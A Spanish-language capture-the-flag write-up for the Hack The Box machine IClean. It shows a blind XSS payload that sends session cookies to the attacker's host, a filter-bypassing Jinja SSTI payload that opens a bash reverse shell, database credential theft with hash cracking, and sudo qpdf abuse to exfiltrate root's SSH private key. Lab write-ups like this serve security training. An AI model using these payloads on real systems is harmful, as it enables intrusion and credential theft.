IClean

OS: Linux
Dificultad: Medio
Puntos: 30

Nmap

nmap -v -p 22,80 -sV -sC -oN nmap.txt 10.10.11.12
Nmap scan report for 10.10.11.12
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Al acceder a la IP nos redirecciona al dominio capiclean.htb el cual agregaremos a nuestro archivo hosts.

echo '10.10.11.12   capiclean.htb' > /etc/hosts

La aplicacion web cuenta con un panel de login y un panel para enviar peteciones.

Tambien realizando fuzzing de directorios encontramos una interesante llamado dashboard.

┌──(root㉿kali)-[~/htb/IClean]
└─# ffuf -c -w /usr/share/wordlists/dirb/common.txt -u http://capiclean.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://capiclean.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 16697, Words: 4654, Lines: 349, Duration: 110ms]
about                   [Status: 200, Size: 5267, Words: 1036, Lines: 130, Duration: 115ms]
dashboard               [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 101ms]
login                   [Status: 200, Size: 2106, Words: 297, Lines: 88, Duration: 126ms]
logout                  [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 120ms]
quote                   [Status: 200, Size: 2237, Words: 98, Lines: 90, Duration: 142ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 114ms]
services                [Status: 200, Size: 8592, Words: 2325, Lines: 193, Duration: 105ms]
team                    [Status: 200, Size: 8109, Words: 2068, Lines: 183, Duration: 220ms]
:: Progress: [4614/4614] :: Job [1/1] :: 115 req/sec :: Duration: [0:00:15] :: Errors: 0 ::

En el panel del login no encontramos ninguna vulnerabilidad pero despues de analizar el otro fomulario descubrimos que es vulnerable a blind XSS.

Steal Cookie Blind XSS

Con el siguiente payload podemos obtener la cookie de algun usuario.

POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1

service=<img+src%3dx+onerror%3dthis.src%3d"http%3a//10.10.14.105/c%3f%3d"%2bdocument.cookie>&email=test@test.com

Una vez que enviemos la petecion tardara unos minutos en regresarnos la respuesta con la cookie de sesion.

┌──(root㉿kali)-[~/htb/IClean]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.12 - - [12/Apr/2024 03:08:51] code 404, message File not found
10.10.11.12 - - [12/Apr/2024 03:08:51] "GET /c?=session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhkNew.gof4GFmDGO3NKqpUsjoo1aAWzE4 HTTP/1.1" 404 -
10.10.11.12 - - [12/Apr/2024 03:08:52] code 404, message File not found

Tambien nos percatamos que las request vienen desde la siguiente url.

POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1

service=<img+src%3dx+onerror%3dthis.src%3d"http%3a//10.10.14.105/c%3f%3d"%2bdocument.location>&email=test@test.com
10.10.11.12 - - [12/Apr/2024 04:03:55] "GET /c?=http://127.0.0.1:3000/QuoteRequests/1 HTTP/1.1" 404 -
10.10.11.12 - - [12/Apr/2024 04:03:56] code 404, message File not found

Agregamos la cookie y ahora podemos acceder a dashboard.

SSTI

Despues de varias pruebas en las diferentes opciones encontramos que es vulnerable el parametro qr_link que aparece una vez que generamos el QR de la invoice. Este parametro es vulnerable a SSTI.

Nos percatamos que hay varios caracteres que no acepta entonces para obtener una reverse shell utilizamos el siguiente payload.

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.105/1234+0>%261"')|attr('read')()}}

Mandamos nuestra request.

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 328
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhkNew.gof4GFmDGO3NKqpUsjoo1aAWzE4
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.105/1234+0>%261"')|attr('read')()}}

Obtenemos nuestra reverse shell.

┌──(root㉿kali)-[~/htb/IClean]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.105] from (UNKNOWN) [10.10.11.12] 50972
bash: cannot set terminal process group (1210): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
whoami
www-data

Lateral movement

En el archivo app.py encontramos credenciales para la base de datos.

www-data@iclean:/opt/app$ cat app.py

# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}

Utilizando las credenciales para acceder a la base de datos encontramos un par de usuario.

www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb -D capiclean -e 'select username,password from users'
mysql -u iclean -ppxCsmnGLckUb -D capiclean -e 'select username,password from users'
mysql: [Warning] Using a password on the command line interface can be insecure.
username        password
admin           2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51
consuela        0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa

Obtenemos el password del usuario consuela con uso de crackstation.

Ahora nos podemos conectar por SSH.

consuela:simple and clean
┌──(root㉿kali)-[~/htb/IClean]
└─# ssh consuela@10.10.11.12
consuela@10.10.11.12's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

consuela@iclean:~$ id
uid=1000(consuela) gid=1000(consuela) groups=1000(consuela)
consuela@iclean:~$ ls
user.txt

Privilege Escalation

El usuario tiene privilegios de sudo en un programa.

consuela@iclean:~$ sudo -l
[sudo] password for consuela: 
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

QPDF Attachment Files

Despues de investigar como tomar ventaja de este programa, en la documentacion https://qpdf.readthedocs.io/en/stable/cli.html#embedded-files-attachments menciona que podemos embeber un archivo por lo tanto con el siguiente comando podemos obtener la rsa key del usuario root.

consuela@iclean:~$ sudo /usr/bin/qpdf --empty /tmp/test.txt --qdf --add-attachment /root/.ssh/id_rsa --
consuela@iclean:~$ cat /tmp/test.txt
%PDF-1.3
  >>
  /Type /EmbeddedFile
  /Length 6 0 R
>>
stream
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
endstream
endobj

Ahora podemos acceder por SSH.

nano rsa_root
chmod 400 rsa_root
ssh -i rsa_root root@10.10.11.12